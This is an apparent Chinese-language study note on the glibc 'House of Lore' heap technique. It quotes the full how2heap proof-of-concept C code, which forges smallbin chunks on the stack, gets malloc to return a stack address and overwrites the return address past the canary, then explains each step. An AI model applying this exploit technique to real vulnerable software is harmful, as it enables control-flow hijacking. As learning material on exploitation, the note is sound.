house_of_lore

源码

先附上how2heap的源码

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/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.

[ ... ]

else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){

errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}

set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

[ ... ]

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};

fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\n\n");

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(0x100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------

fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

void *p3 = malloc(0x100);


fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(0x100);
fprintf(stderr, "p4 = malloc(0x100)\n");

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);

fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}

分析

函数开始,先把两个申请了栈上的地址初始化了

image-20241124151323581

接着,申请了一个堆快,并且把返回地址放到了victim

image-20241124151623226

把申请的堆的地址放到vic_chunk里

image-20241124152533990

现在把stack_buffer_1的地址的值进行修改

image-20241124152819523

现在的两个栈上的值如下了

image-20241124153015650

接着又申请了一个堆快p5

image-20241124153156514

我们释放了victim(前后对比)

image-20241124153301044

image-20241124153324069

因为又申请了一个堆快,因为我们的bin从unsoredbin 到了smallbin,故fd和bk指针发生了变化

image-20241124153639249

接着我们改写了原来的victim那个堆快的bk指针为stack_buffer_1的地址

image-20241124154857249

可以看到现在的bins中

image-20241124155129681

重点

先malloc一个与我们释放的bins相同大小的chunk

image-20241124160224969

再来一次

image-20241124160516195

image-20241124161844791

好了,我们来分析着重分析一下这两个步骤,因为我们申请的堆快是从已释放的bins中拿,所以bk,和上一个堆快的fd指针会有个变化,所以我们stack_buffer_1 stack_buffer_2的fd指针都在重新申请堆快的过程中变成了最开始函数的bk指针

后面就是通过溢出,改变ret后面的值从而执行我们自定义的hanshu

总结

就是通过改写smallbins的bk指针实现任意的地址写